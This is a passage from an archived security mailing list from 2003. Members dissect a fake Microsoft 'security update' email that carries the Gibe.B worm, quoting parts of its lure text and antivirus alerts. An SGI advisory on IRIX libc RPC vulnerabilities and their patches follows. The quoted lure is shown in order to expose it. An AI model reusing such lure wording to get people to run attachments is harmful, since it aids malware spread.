Release Date: 18.3.2003 Regards, ------- Gregory LEBRAS Chief Executive Officer Security Corporation www.security-corporation.com From digitz at shaw.ca Tue Apr 8 20:59:39 2003 From: digitz at shaw.ca (digitz) Date: Tue, 08 Apr 2003 13:59:39 -0600 Subject: [Full-Disclosure] Fwd: Internet Security Update In-Reply-To: <20030408191540.GA27264@countzero> Message-ID: <002601c2fe09$663d2840$60209144@skank> My a/v picked it up as being W32.Gibe.B at mm -----Original Message----- From: full-disclosure-admin at lists.netsys.com [mailto:full-disclosure-admin at lists.netsys.com] On Behalf Of Ward Vandewege Sent: Tuesday, April 08, 2003 1:16 PM To: Brad Knowles Cc: Full Disclosure Mailing List Subject: Re: [Full-Disclosure] Fwd: Internet Security Update -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 I got the same message on March 19. Don't know what sends it. Below are the headers of the message I received. Bye for now, Ward. - ---- Return-Path: Delivered-To: pong-be-ward at pong.be Received: from pong.be [193.74.16.33] by localhost with POP3 (fetchmail-5.9.11) for ward at localhost (single-drop); Thu, 20 Mar 2003 09:53:50 +0000 (GMT) Received: (qmail 9955 invoked by uid 101); 19 Mar 2003 21:26:40 -0000 Return-Path: Received: from unknown (HELO ms-smtp-03.tampabay.rr.com) (65.32.1.41) by mail.pong.be with SMTP; 19 Mar 2003 21:26:16 -0000 Received: from LLHosAe (60.34.35.65.cfl.rr.com [65.35.34.60]) by ms-smtp-03.tampabay.rr.com (8.12.5/8.12.5) with SMTP id h2JL6msx000092; Wed, 19 Mar 2003 16:06:49 -0500 (EST) Date: Wed, 19 Mar 2003 16:06:48 -0500 (EST) Message-Id: <200303192106.h2JL6msx000092 at ms-smtp-03.tampabay.rr.com> FROM: "MS Public Support" TO: "Microsoft Customer" <> SUBJECT: Network Security Update. X-Virus-Scanned: NOD32 Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="ypBSfERRmmoWSbeU" - ---- On Tue, Apr 08, 2003 at 07:32:26PM +0200, Brad Knowles wrote: > Folks, > > I don't think this is a real Microsoft security announcement > (they wouldn't be likely to be sent via an unknown IP address over in > the space owned by hiwaay.net), but it does appear to be the result > of a hoax, a virus, or a Trojan Horse that I have not yet heard of. > > I've done various searches via Google and on the web sites of the > anti-virus vendors, and haven't turned up anything on this issue. > Have I missed something? > - -- Pong.be -( Writing software is more fun than working. )- Virtual hosting -( )- http://pong.be -( )- GnuPG public key: http://gpg.dtype.org -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+kx/cqC3O5tzmh5wRAoAeAKCeq3xpB4E7wLw8/35p1XVnPxb6mgCcDzHY sJxbzgb0t2K3trF31h1b8T0= =ScJO -----END PGP SIGNATURE----- _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html From nicob at nicob.net Tue Apr 8 21:02:15 2003 From: nicob at nicob.net (Nicob) Date: 08 Apr 2003 22:02:15 +0200 Subject: [Full-Disclosure] Fwd: Internet Security Update In-Reply-To: References: Message-ID: <1049828928.641.6.camel@bobby> On Tue, 2003-04-08 at 19:32, Brad Knowles wrote: > > Have I missed something? My AVP say that P164117.exe is infected by I-Worm.Gibe.b and the strings command reveals "Coded ...by Begbie, Slovakia" So, it's probably a real Microsoft update :) Nicob From jgonzalez at autocraft.com Tue Apr 8 21:21:49 2003 From: jgonzalez at autocraft.com (Juan Gonzalez) Date: Tue, 8 Apr 2003 15:21:49 -0500 Subject: [Full-Disclosure] Full-Disclosure digest, Vol 1 #715 - 2 msgs Contains a virus Message-ID: -----Original Message----- From: Juan Gonzalez Sent: Tuesday, April 08, 2003 3:19 PM To: Juan Gonzalez Subject: Kaspersky AV found message From: full-disclosure-request at lists.netsys.com To: full-disclosure at lists.netsys.com Copy: Blind copy: Date: Tuesday, April 08, 2003 Time: 2:09 PM Subject: Full-Disclosure digest, Vol 1 #715 - 2 msgs contains viruses. Check it by Kaspersky AV Scaner. From WPatterson at njtransit.com Tue Apr 8 21:24:39 2003 From: WPatterson at njtransit.com (WPatterson at njtransit.com) Date: Tue, 8 Apr 2003 16:24:39 -0400 Subject: [Full-Disclosure] Fwd: Internet Security Update Message-ID: <04B6F8DDE3D52D449C480CFFBCDEF757012B16@NJTMAIL.njt.gov> This is almost certainly a hoax/virus/trojan. Microsoft is pretty anal when it comes to their mass mailing emails, esp when it comes to their use of English. There are at least five grammatical errors, and one style error, in this message, dissected below: > Microsoft Customer >

> this is the latest version of security update, the
No comma after salutation, no "This" not capitalized, should have been 'of THE security update'. > "April 2003, Cumulative Patch" update which eliminates
> all known security vulnerabilities affecting Internet Explorer,
Outlook and Outlook Express as well as five newly IE updates include Outlook Express updates, but almost never include Outlook updates. Outlook is considered an Office product, not an IE product >
discovered vulnerabilities. Install now to protect your computer
from these vulnerabilities, the most serious > of which could allow
an attacker to run executable on your system. This update includes
the functionality of > all previously released patches.

"executable', above, should have an indefinite article ('an executable') in front of it. > Recommendation > Customers should install the patch at the earliest opportunity. No colon after Recommendation, correct phrase is "their earliest opportunity". That's enough. There's more, but the point is made. One last one, though: > Thank you for using Microsoft products. With friendly greetings, MS Network Security Center Pretty nice touch. Microsoft is never that friendly to me! Bill Patterson -------------- next part -------------- A non-text attachment was scrubbed... Name: Patterson, William D. (WPatterson at njtransit.com).vcf Type: text/x-vcard Size: 366 bytes Desc: Patterson, William D. (WPatterson at njtransit.com).vcf Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20030408/59e6abcd/attachment.vcf From lhand at co.la.ca.us Tue Apr 8 21:49:02 2003 From: lhand at co.la.ca.us (Larry Hand) Date: Tue, 8 Apr 2003 13:49:02 -0700 Subject: VIRUS WARNING! (was:[Full-Disclosure] Fwd: Internet Security Update) In-Reply-To: <56A8FFD8E055564F9A590E48FBD9B91A8E6B@exchange.comdev.com> References: <56A8FFD8E055564F9A590E48FBD9B91A8E6B@exchange.comdev.com> Message-ID: <03040813490205.28545@lancelot> So does: The Declude Virus software on co.la.ca.us has reported that you were sent an E-mail from full-disclosure-admin at lists.netsys.com, containing the : W32/Gibe.B at mm virus in the P164117.exe attachment. ?The subject of the E-mail was "[Full-Disclosure] Fwd: Internet Security Update". ?The E-mail containing the virus has been quarantined to prevent further damage. On Tuesday 08 April 2003 12:11, Kevin Riggins wrote: > F-Secure picks this up as a virus. Below is the notification message. > > > ########################################### > > WARNING! > > F-Secure Anti-Virus for Microsoft Exchange has processed the message > (Subj:'[Full-Disclosure] Fwd: Internet Security Update') sent by '"Brad > Knowles" ' to '"Full Disclosure Mailing List" > '. The following potential security > hazards have been found and corresponding actions have been taken. > > > File name: P164117.exe > File size: 155648 bytes > Found threat: I-Worm.Gibe.b > Action: Dropped > Quarantined: infect\FSAVMSE2003040814012610963 > > > The attached message can now be opened safely. If you need to access > quarantined file(s), please contact your system administrator. > > Please contact the sender and inform them about the virus. > > For additional information about security threats, connect to > http://www.F-Secure.com/virus-info/ > > ########################################### > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.netsys.com/full-disclosure-charter.html > > From dufresne at winternet.com Tue Apr 8 22:20:59 2003 From: dufresne at winternet.com (Ron DuFresne) Date: Tue, 8 Apr 2003 16:20:59 -0500 (CDT) Subject: [Full-Disclosure] Fwd: Internet Security Update In-Reply-To: <061e01c2fe06$6f985bb0$0300a8c0@goliath> Message-ID: One might think that all these technically inclined folks might have a clue looking at the headers and noting not a single reference back towards a M$ system?! Maybe not Thanks, Ron DuFresne ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ "Cutting the space budget really restores my faith in humanity. It eliminates dreams, goals, and ideals and lets us get straight to the business of hate, debauchery, and self-annihilation." -- Johnny Hart ***testing, only testing, and damn good at it too!*** OK, so you're a Ph.D. Just don't touch anything. From soare at ss.pub.ro Tue Apr 8 22:24:01 2003 From: soare at ss.pub.ro (Ovidiu COJOCARU) Date: Wed, 9 Apr 2003 00:24:01 +0300 (EET DST) Subject: [Full-Disclosure] 'internet security update' hoax and stuff... Message-ID: I'm using 'pine' to read my e-mail....so ...no wingoze, no outbreak, just plain text...so I guess I'm immune ;) -- Walking is man's best medicine. -- From nick at virus-l.demon.co.uk Tue Apr 8 21:51:58 2003 From: nick at virus-l.demon.co.uk (Nick FitzGerald) Date: Wed, 09 Apr 2003 09:51:58 +1300 Subject: [Full-Disclosure] Fwd: Internet Security Update In-Reply-To: Message-ID: <0HD100KUBOQP5N@smtp2.clear.net.nz> Brad Knowles wrote: > I don't think this is a real Microsoft security announcement > (they wouldn't be likely to be sent via an unknown IP address over in > the space owned by hiwaay.net), but it does appear to be the result > of a hoax, a virus, or a Trojan Horse that I have not yet heard of. Very good Watson... > I've done various searches via Google and on the web sites of the > anti-virus vendors, and haven't turned up anything on this issue. What did you search for??? > Have I missed something? The daily application of a clue-by-four? Here is the beginning of the message of which you were suspicious: > Microsoft Customer >

> this is the latest version of security update, the
> "April 2003, Cumulative Patch" update which eliminates
> all known security vulnerabilities affecting Internet Explorer,
> Outlook and Outlook Express as well as five newly
Note the obvious (to native English speakers) grammatical error common to folk who learnt English as a second language who often struggle with articles? Note the sentence does not start with an uppercase letter? Both good clues in themselves that this is not from Microsoft without even having to worry about looking at the headers. Oh yes, and Microsoft, as a matter of policy _never_ sends patches or updates via Email: http://www.microsoft.com/technet/security/policy/swdist.asp Googling for the phrase "this is the latest version of security update" turned up about 780 hits, the first ten of which were all antivirus developer virus descriptions or various security company or security service teams' warnings about the (then) new Gibe.B virus. When was "then"? 23 February was the date Gibe.B was discovered. Finally, isn't it illegal in Belgium to spread viruses? I hope any members of your local constabulary on this list take a lenient view of your including what you clearly thought was a suspicious attachment (and is, in fact, a virus) in your post to many thousands of people... -- Nick FitzGerald Computer Virus Consulting Ltd. Ph/FAX: +64 3 3529854 From agent99 at sgi.com Tue Apr 8 22:50:40 2003 From: agent99 at sgi.com (SGI Security Coordinator) Date: Tue, 8 Apr 2003 14:50:40 -0700 Subject: [Full-Disclosure] Multiple Vulnerabilities in libc RPC functions on IRIX Message-ID: -----BEGIN PGP SIGNED MESSAGE----- ______________________________________________________________________________ SGI Security Advisory Title : Multiple Vulnerabilities in libc RPC functions Number : 20030402-01-P Date : April 8, 2003 Reference: CERT CA-2003-10 Reference: CERT VU#516825 Reference: CVE CAN-2003-0028 Reference: SGI BUGS 879633 880920 880921 880925 Fixed in : IRIX 6.5.20 (when available) or patches 4986-4993 & 5014-5015 ______________________________________________________________________________ - ----------------------- - --- Issue Specifics --- - ----------------------- It's been reported that there are multiple security vulnerabilities in the IRIX libc relating to RPC functions: o Error in xdrmem_getbytes() may allow a remote user to crash some key RPC applications, resulting in a denial of service o RPC Requests Involving AUTH_DES Authentication may allow a remote user to gain elevated privileges See the following URLs for additional information: http://www.cert.org/advisories/CA-2003-10.html http://www.kb.cert.org/vuls/id/516825 http://sunsolve.sun.com/pub-cgi/retrieve.pl?doc=fsalert%2F46944 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0028 SGI has investigated the issues and recommends the following steps for neutralizing the exposure. It is HIGHLY RECOMMENDED that these measures be implemented on ALL vulnerable SGI systems. These issues have been corrected with patches and future releases of IRIX. - -------------- - --- Impact --- - -------------- libc is the standard C library and is installed by default on Irix 6.5 systems as part of eoe.sw.base. To determine the version of IRIX you are running, execute the following command: # /bin/uname -R That will return a result similar to the following: # 6.5 6.5.19f The first number ("6.5") is the release name, the second ("6.5.19f" in this case) is the extended release name. The extended release name is the "version" we refer to throughout this document. - ---------------------------- - --- Temporary Workaround --- - ---------------------------- If you want to run ONC/RPC services, there is no effective workaround available for these problems. SGI recommends either upgrading to IRIX 6.5.20 (when available), or installing the appropriate patch from the listing below. - ---------------- - --- Solution --- - ---------------- SGI has provided a series of patches for these vulnerabilities. Our recommendation is to upgrade to IRIX 6.5.20 (when available), or install the appropriate patch. OS Version Vulnerable? Patch # Other Actions ---------- ----------- ------- ------------- IRIX 3.x unknown Note 1 IRIX 4.x unknown Note 1 IRIX 5.x unknown Note 1 IRIX 6.0.x unknown Note 1 IRIX 6.1 unknown Note 1 IRIX 6.2 unknown Note 1 IRIX 6.3 unknown Note 1 IRIX 6.4 unknown Note 1 IRIX 6.5 yes Notes 2 & 3 IRIX 6.5.1 yes Notes 2 & 3 IRIX 6.5.2 yes Notes 2 & 3 IRIX 6.5.3 yes Notes 2 & 3 IRIX 6.5.4 yes Notes 2 & 3 IRIX 6.5.5 yes Notes 2 & 3 IRIX 6.5.6 yes Notes 2 & 3 IRIX 6.5.7 yes Notes 2 & 3 IRIX 6.5.8 yes Notes 2 & 3 IRIX 6.5.9 yes Notes 2 & 3 IRIX 6.5.10 yes Notes 2 & 3 IRIX 6.5.11 yes Notes 2 & 3 IRIX 6.5.12 yes Notes 2 & 3 IRIX 6.5.13 yes Notes 2 & 3 IRIX 6.5.14 yes Notes 2 & 3 IRIX 6.5.15m yes 4986 Notes 2 & 4 IRIX 6.5.15f yes 4987 Notes 2 & 4 IRIX 6.5.16m yes 4988 Notes 2 & 4 IRIX 6.5.16f yes 4989 Notes 2 & 4 IRIX 6.5.17m yes 4990 Notes 2 & 4 IRIX 6.5.17f yes 4991 Notes 2 & 4 IRIX 6.5.18m yes 5014 Notes 2 & 4 IRIX 6.5.18f yes 5015 Notes 2 & 4 IRIX 6.5.19m yes 4992 Notes 2 & 4 IRIX 6.5.19f yes 4993 Notes 2 & 4 IRIX 6.5.20 no NOTES 1) This version of the IRIX operating has been retired. Upgrade to an actively supported IRIX operating system. See http://support.sgi.com/ for more information. 2) If you have not received an IRIX 6.5.X CD for IRIX 6.5, contact your SGI Support Provider or URL: http://support.sgi.com/ 3) Upgrade to IRIX 6.5.20 (when available) 4) Install the patch. ##### Patch File Checksums #### The actual patch will be a tar file containing the following files: Filename: README.patch.4986 Algorithm #1 (sum -r): 61774 9 README.patch.4986 Algorithm #2 (sum): 21690 9 README.patch.4986 MD5 checksum: 4100D3EF351C98674E83874501E03067 Filename: patchSG0004986 Algorithm #1 (sum -r): 10565 7 patchSG0004986 Algorithm #2 (sum): 28769 7 patchSG0004986 MD5 checksum: 7FF5B4F674287E258465AA3D2243EEDB Filename: patchSG0004986.dev_sw Algorithm #1 (sum -r): 43759 2812 patchSG0004986.dev_sw Algorithm #2 (sum): 43200 2812 patchSG0004986.dev_sw MD5 checksum: 13ACE1127AF733103829FB83CC8EFC6A Filename: patchSG0004986.eoe_sw Algorithm #1 (sum -r): 37170 13954 patchSG0004986.eoe_sw Algorithm #2 (sum): 55729 13954 patchSG0004986.eoe_sw MD5 checksum: 5DD4C32ED0107DA98D1FBBF76A7EA861 Filename: patchSG0004986.eoe_sw64 Algorithm #1 (sum -r): 43656 5376 patchSG0004986.eoe_sw64 Algorithm #2 (sum): 40309 5376 patchSG0004986.eoe_sw64 MD5 checksum: 313221B3C13A5C0E6F74AE4CA2F0E11B Filename: patchSG0004986.idb Algorithm #1 (sum -r): 56197 9 patchSG0004986.idb Algorithm #2 (sum): 12309 9 patchSG0004986.idb MD5 checksum: 8F71D3523B68433B4AFA7E2F99558E78 Filename: patchSG0004986.nfs_sw Algorithm #1 (sum -r): 51514 115 patchSG0004986.nfs_sw Algorithm #2 (sum): 61310 115 patchSG0004986.nfs_sw MD5 checksum: A18AE064804D423D306B487CB7835386 Filename: README.patch.4987 Algorithm #1 (sum -r): 42494 9 README.patch.4987 Algorithm #2 (sum): 21721 9 README.patch.4987 MD5 checksum: 8570BB376D6F59BC827FF323A1DF2974 Filename: patchSG0004987 Algorithm #1 (sum -r): 55220 7 patchSG0004987 Algorithm #2 (sum): 32945 7 patchSG0004987 MD5 checksum: 601E52E5B17F2F388755A71D17242B16 Filename: patchSG0004987.dev_sw Algorithm #1 (sum -r): 14159 2868 patchSG0004987.dev_sw Algorithm #2 (sum): 26238 2868 patchSG0004987.dev_sw MD5 checksum: 2C7F49972C94D3A09D563A7CADFD7F1F Filename: patchSG0004987.eoe_sw Algorithm #1 (sum -r): 19650 14174 patchSG0004987.eoe_sw Algorithm #2 (sum): 24693 14174 patchSG0004987.eoe_sw MD5 checksum: A129667677B6F43B8E6647283E688C8F Filename: patchSG0004987.eoe_sw64 Algorithm #1 (sum -r): 40622 5447 patchSG0004987.eoe_sw64 Algorithm #2 (sum): 3093 5447 patchSG0004987.eoe_sw64 MD5 checksum: 3B9F909D7E5F84E8A240696348D1F808 Filename: patchSG0004987.idb Algorithm #1 (sum -r): 15545 9 patchSG0004987.idb Algorithm #2 (sum): 12210 9 patchSG0004987.idb MD5 checksum: E926EE1AB412033DA5E24AB1556279F7 Filename: patchSG0004987.nfs_sw Algorithm #1 (sum -r): 53129 115 patchSG0004987.nfs_sw Algorithm #2 (sum): 52921 115 patchSG0004987.nfs_sw MD5 checksum: 19A37D152817775322CDAF83CDAA160F Filename: README.patch.4988 Algorithm #1 (sum -r): 54036 9 README.patch.4988 Algorithm #2 (sum): 20975 9 README.patch.4988 MD5 checksum: FA3F64B2C66A8657A431A3D7D6B85C27 Filename: patchSG0004988 Algorithm #1 (sum -r): 10456 7 patchSG0004988 Algorithm #2 (sum): 2468 7 patchSG0004988 MD5 checksum: B6BBB2ADC001EE3578A051987C868101 Filename: patchSG0004988.dev_sw Algorithm #1 (sum -r): 31020 2831 patchSG0004988.dev_sw Algorithm #2 (sum): 12754 2831 patchSG0004988.dev_sw MD5 checksum: 37C8D39EF07603C699EEB0879311CD1D Filename: patchSG0004988.eoe_sw Algorithm #1 (sum -r): 15309 13910 patchSG0004988.eoe_sw Algorithm #2 (sum): 4816 13910 patchSG0004988.eoe_sw MD5 checksum: 3512DBF7FD6BDA4C4BF361C692F3C266 Filename: patchSG0004988.eoe_sw64 Algorithm #1 (sum -r): 38559 5367 patchSG0004988.eoe_sw64 Algorithm #2 (sum): 33256 5367 patchSG0004988.eoe_sw64 MD5 checksum: C59D7B7ACEC50890C4521F830EF32033 Filename: patchSG0004988.idb Algorithm #1 (sum -r): 17825 9 patchSG0004988.idb Algorithm #2 (sum): 12414 9 patchSG0004988.idb MD5 checksum: D105E81160E04E1AC361CE46E8DBE227 Filename: patchSG0004988.nfs_sw Algorithm #1 (sum -r): 33431 115 patchSG0004988.nfs_sw Algorithm #2 (sum): 53331 115 patchSG0004988.nfs_sw MD5 checksum: 75A64F2151A9307AFA7A49DA00E9EC33 Filename: README.patch.4989 Algorithm #1 (sum -r): 51851 9 README.patch.4989 Algorithm #2 (sum): 20956 9 README.patch.4989 MD5 checksum: 493DCEAE03F631F9FD1DAF84ADC920DB Filename: patchSG0004989 Algorithm #1 (sum -r): 38733 7 patchSG0004989 Algorithm #2 (sum): 6858 7 patchSG0004989 MD5 checksum: 320C60D8E11375A6FB5FB77FF86F2A32 Filename: patchSG0004989.dev_sw Algorithm #1 (sum -r): 53855 2869 patchSG0004989.dev_sw Algorithm #2 (sum): 62584 2869 patchSG0004989.dev_sw MD5 checksum: 287B269FF11F59DD05829A815E14486E Filename: patchSG0004989.eoe_sw Algorithm #1 (sum -r): 58175 14174 patchSG0004989.eoe_sw Algorithm #2 (sum): 60323 14174 patchSG0004989.eoe_sw MD5 checksum: 0B972731868CF1687289E8437CC45E58 Filename: patchSG0004989.eoe_sw64 Algorithm #1 (sum -r): 53864 5427 patchSG0004989.eoe_sw64 Algorithm #2 (sum): 59801 5427 patchSG0004989.eoe_sw64 MD5 checksum: 6500F15FB408CE99E79A4946C96CCF60 Filename: patchSG0004989.idb Algorithm #1 (sum -r): 20351 9 patchSG0004989.idb Algorithm #2 (sum): 12579 9 patchSG0004989.idb MD5 checksum: FAFB9BAF9FC79A1C77DBAC88105FE646 Filename: patchSG0004989.nfs_sw Algorithm #1 (sum -r): 32454 115 patchSG0004989.nfs_sw Algorithm #2 (sum): 6524 115 patchSG0004989.nfs_sw MD5 checksum: 255E61F3FD31A8D406AFD321791BCAF1 Filename: README.patch.4990 Algorithm #1 (sum -r): 22554 9 README.patch.4990 Algorithm #2 (sum): 20896 9 README.patch.4990 MD5 checksum: 61A056B33B722CCECC9A843117BD2C24 Filename: patchSG0004990 Algorithm #1 (sum -r): 60147 7 patchSG0004990 Algorithm #2 (sum): 4685 7 patchSG0004990 MD5 checksum: F00E182B81015BB2B14730FE73152988 Filename: patchSG0004990.dev_sw Algorithm #1 (sum -r): 63952 2868 patchSG0004990.dev_sw Algorithm #2 (sum): 26451 2868 patchSG0004990.dev_sw MD5 checksum: 761E55428E974C9E27C222C783BCC3E9 Filename: patchSG0004990.eoe_sw Algorithm #1 (sum -r): 53468 14325 patchSG0004990.eoe_sw Algorithm #2 (sum): 4614 14325 patchSG0004990.eoe_sw MD5 checksum: DF6EE260957DFA3ED21E3CE6B82B0DFC Filename: patchSG0004990.eoe_sw64 Algorithm #1 (sum -r): 13326 5508 patchSG0004990.eoe_sw64 Algorithm #2 (sum): 43762 5508 patchSG0004990.eoe_sw64 MD5 checksum: 378333FCF8D9429E6A4903B893F62DB2 Filename: patchSG0004990.idb Algorithm #1 (sum -r): 49324 9 patchSG0004990.idb Algorithm #2 (sum): 12253 9 patchSG0004990.idb MD5 checksum: AA6BEDBBD7FD8A3F574870CBDC9BB777 Filename: patchSG0004990.nfs_sw Algorithm #1 (sum -r): 48070 115 patchSG0004990.nfs_sw Algorithm #2 (sum): 57003 115 patchSG0004990.nfs_sw MD5 checksum: C4AC599FA88F3067509A0A637A9B1A09 Filename: README.patch.4991 Algorithm #1 (sum -r): 24771 9 README.patch.4991 Algorithm #2 (sum): 20885 9 README.patch.4991 MD5 checksum: 4E8E37BF49B82F24EEFF47242BDBACC7 Filename: patchSG0004991 Algorithm #1 (sum -r): 11243 6 patchSG0004991 Algorithm #2 (sum): 56912 6 patchSG0004991 MD5 checksum: 7E2EB3F27993B3AD84038D5F43AEA4EF Filename: patchSG0004991.dev_sw Algorithm #1 (sum -r): 43880 2918 patchSG0004991.dev_sw Algorithm #2 (sum): 44083 2918 patchSG0004991.dev_sw MD5 checksum: 3CF5C9BF304B02E5BDEDEDC9BAD78ABB Filename: patchSG0004991.eoe_sw Algorithm #1 (sum -r): 26013 14523 patchSG0004991.eoe_sw Algorithm #2 (sum): 12876 14523 patchSG0004991.eoe_sw MD5 checksum: 1AAAACD4E473F9BABF2736FFB2075E03 Filename: patchSG0004991.eoe_sw64 Algorithm #1 (sum -r): 02872 5609 patchSG0004991.eoe_sw64 Algorithm #2 (sum): 14713 5609 patchSG0004991.eoe_sw64 MD5 checksum: 3AED46F79939C44DE6ED8B1DB00711AC Filename: patchSG0004991.idb Algorithm #1 (sum -r): 24359 9 patchSG0004991.idb Algorithm #2 (sum): 12054 9 patchSG0004991.idb MD5 checksum: 5F8614BB623D0EFF00B19EA66FEF8B4A Filename: patchSG0004991.nfs_sw Algorithm #1 (sum -r): 62946 115 patchSG0004991.nfs_sw Algorithm #2 (sum): 45785 115 patchSG0004991.nfs_sw MD5 checksum: 013B271FE9ED46EE948ED0F9A132E6FA Filename: README.patch.4992 Algorithm #1 (sum -r): 62488 9 README.patch.4992 Algorithm #2 (sum): 2400 9 README.patch.4992 MD5 checksum: 2DA6FC388A96B109B9E9DBFEDC6BEC81 Filename: patchSG0004992 Algorithm #1 (sum -r): 55975 6 patchSG0004992 Algorithm #2 (sum): 55104 6 patchSG0004992 MD5 checksum: 4E23522A7A4536BBDECC40FE97069653 Filename: patchSG0004992.dev_sw Algorithm #1 (sum -r): 11555 2916 patchSG0004992.dev_sw Algorithm #2 (sum): 26423 2916 patchSG0004992.dev_sw MD5 checksum: C69A21A716B871BA16FDEBE940CA5CD4 Filename: patchSG0004992.eoe_sw Algorithm #1 (sum -r): 46384 15057 patchSG0004992.eoe_sw Algorithm #2 (sum): 5452 15057 patchSG0004992.eoe_sw MD5 checksum: F9DE793DA8CDC6FCF36F071135D5ACB9 Filename: patchSG0004992.eoe_sw64 Algorithm #1 (sum -r): 29483 5834 patchSG0004992.eoe_sw64 Algorithm #2 (sum): 56980 5834 patchSG0004992.eoe_sw64 MD5 checksum: 9CF1AD1672D0AD42DC7310F6DDFCFE2C Filename: patchSG0004992.idb Algorithm #1 (sum -r): 45603 9 patchSG0004992.idb Algorithm #2 (sum): 36925 9 patchSG0004992.idb MD5 checksum: 4F7E165860C13E2224531A959002B6E5 Filename: patchSG0004992.irix_dev_sw Algorithm #1 (sum -r): 52495 2 patchSG0004992.irix_dev_sw Algorithm #2 (sum): 22110 2 patchSG0004992.irix_dev_sw MD5 checksum: A8ED74ACA7BB04C89844B4A7D3C07709 Filename: patchSG0004992.nfs_sw Algorithm #1 (sum -r): 01074 116 patchSG0004992.nfs_sw Algorithm #2 (sum): 6747 116 patchSG0004992.nfs_sw MD5 checksum: A29136BB3BBAA661687CA30AFAA5F2F9 Filename: README.patch.4993 Algorithm #1 (sum -r): 56930 9 README.patch.4993 Algorithm #2 (sum): 2421 9 README.patch.4993 MD5 checksum: 8CB0C2B8AE21B0E54E975C644D17A832 Filename: patchSG0004993 Algorithm #1 (sum -r): 58388 6 patchSG0004993 Algorithm #2 (sum): 62220 6 patchSG0004993 MD5 checksum: 112B2F1EE8A6663F7574F0A3ECF81786 Filename: patchSG0004993.dev_sw Algorithm #1 (sum -r): 25397 2969 patchSG0004993.dev_sw Algorithm #2 (sum): 63934 2969 patchSG0004993.dev_sw MD5 checksum: B0675BA779F85D7433DA6B93E4E7B56E Filename: patchSG0004993.eoe_sw Algorithm #1 (sum -r): 45658 15257 patchSG0004993.eoe_sw Algorithm #2 (sum): 47600 15257 patchSG0004993.eoe_sw MD5 checksum: FF9C8864B41AE1D888AD67F59D2AB3E4 Filename: patchSG0004993.eoe_sw64 Algorithm #1 (sum -r): 10289 5929 patchSG0004993.eoe_sw64 Algorithm #2 (sum): 16133 5929 patchSG0004993.eoe_sw64 MD5 checksum: D051011D105E9660F11772CBF29DA896 Filename: patchSG0004993.idb Algorithm #1 (sum -r): 12731 9 patchSG0004993.idb Algorithm #2 (sum): 37026 9 patchSG0004993.idb MD5 checksum: F1982C9477D440D0056F5EB529FE3323 Filename: patchSG0004993.irix_dev_sw Algorithm #1 (sum -r): 52495 2 patchSG0004993.irix_dev_sw Algorithm #2 (sum): 22110 2 patchSG0004993.irix_dev_sw MD5 checksum: A8ED74ACA7BB04C89844B4A7D3C07709 Filename: patchSG0004993.nfs_sw Algorithm #1 (sum -r): 48113 116 patchSG0004993.nfs_sw Algorithm #2 (sum): 11771 116 patchSG0004993.nfs_sw MD5 checksum: D7A0D1B58A0A8F718609AAC0319F732B Filename: README.patch.5014 Algorithm #1 (sum -r): 43776 8 README.patch.5014 Algorithm #2 (sum): 41660 8 README.patch.5014 MD5 checksum: 2237F8AC3760DC6F135F07CBFFE7F05F Filename: patchSG0005014 Algorithm #1 (sum -r): 09264 4 patchSG0005014 Algorithm #2 (sum): 46894 4 patchSG0005014 MD5 checksum: F87CB5C8F4B91A6EB5C4EB960EABCC11 Filename: patchSG0005014.dev_sw Algorithm #1 (sum -r): 53111 2897 patchSG0005014.dev_sw Algorithm #2 (sum): 65331 2897 patchSG0005014.dev_sw MD5 checksum: A37A022479459E5DF9BCF6D56037A3DE Filename: patchSG0005014.eoe_sw Algorithm #1 (sum -r): 38004 14820 patchSG0005014.eoe_sw Algorithm #2 (sum): 46216 14820 patchSG0005014.eoe_sw MD5 checksum: 96C77B9F14B1BF4B31B549098FC084EF Filename: patchSG0005014.eoe_sw64 Algorithm #1 (sum -r): 42606 5752 patchSG0005014.eoe_sw64 Algorithm #2 (sum): 6016 5752 patchSG0005014.eoe_sw64 MD5 checksum: 78B287D378A546449FC5D6A1BA29DE25 Filename: patchSG0005014.idb Algorithm #1 (sum -r): 14629 6 patchSG0005014.idb Algorithm #2 (sum): 42411 6 patchSG0005014.idb MD5 checksum: EBA55F18554253F80B2012B0594C4FA2 Filename: README.patch.5015 Algorithm #1 (sum -r): 27275 8 README.patch.5015 Algorithm #2 (sum): 40338 8 README.patch.5015 MD5 checksum: A9BB27187B70A4AADD1B5C036D31503B Filename: patchSG0005015 Algorithm #1 (sum -r): 50018 4 patchSG0005015 Algorithm #2 (sum): 58488 4 patchSG0005015 MD5 checksum: 2DCE3CC34AC5AD6AD3B8EB20CF1525A7 Filename: patchSG0005015.dev_sw Algorithm #1 (sum -r): 30590 2969 patchSG0005015.dev_sw Algorithm #2 (sum): 45448 2969 patchSG0005015.dev_sw MD5 checksum: 909F32E2E0AB6472DC26A20B25B09B6F Filename: patchSG0005015.eoe_sw Algorithm #1 (sum -r): 10420 15002 patchSG0005015.eoe_sw Algorithm #2 (sum): 36111 15002 patchSG0005015.eoe_sw MD5 checksum: E350682EFC05081239E5AD6471E67D19 Filename: patchSG0005015.eoe_sw64 Algorithm #1 (sum -r): 26328 5849 patchSG0005015.eoe_sw64 Algorithm #2 (sum): 50850 5849 patchSG0005015.eoe_sw64 MD5 checksum: F8F7FB95912296EE514E90EF115D20F9 Filename: patchSG0005015.idb Algorithm #1 (sum -r): 49502 6 patchSG0005015.idb Algorithm #2 (sum): 43502 6 patchSG0005015.idb MD5 checksum: E000681CE6ADA70CA656B25E2E922747 - ------------------------ - --- Acknowledgments ---- - ------------------------ SGI wishes to thank CERT, Sun Microsystems and the users of the Internet Community at large for their assistance in this matter. - ------------- - --- Links --- - ------------- SGI Security Advisories can be found at: http://www.sgi.com/support/security/ and ftp://patches.sgi.com/support/free/security/advisories/ SGI Security Patches can be found at: http://www.sgi.com/support/security/ and ftp://patches.sgi.com/support/free/security/patches/ SGI patches for IRIX can be found at the following patch servers: http://support.sgi.com/ and ftp://patches.sgi.com/ SGI freeware updates for IRIX can be found at: http://freeware.sgi.com/ SGI fixes for SGI open sourced code can be found on: http://oss.sgi.com/projects/ SGI patches and RPMs for Linux can be found at: http://support.sgi.com/ or 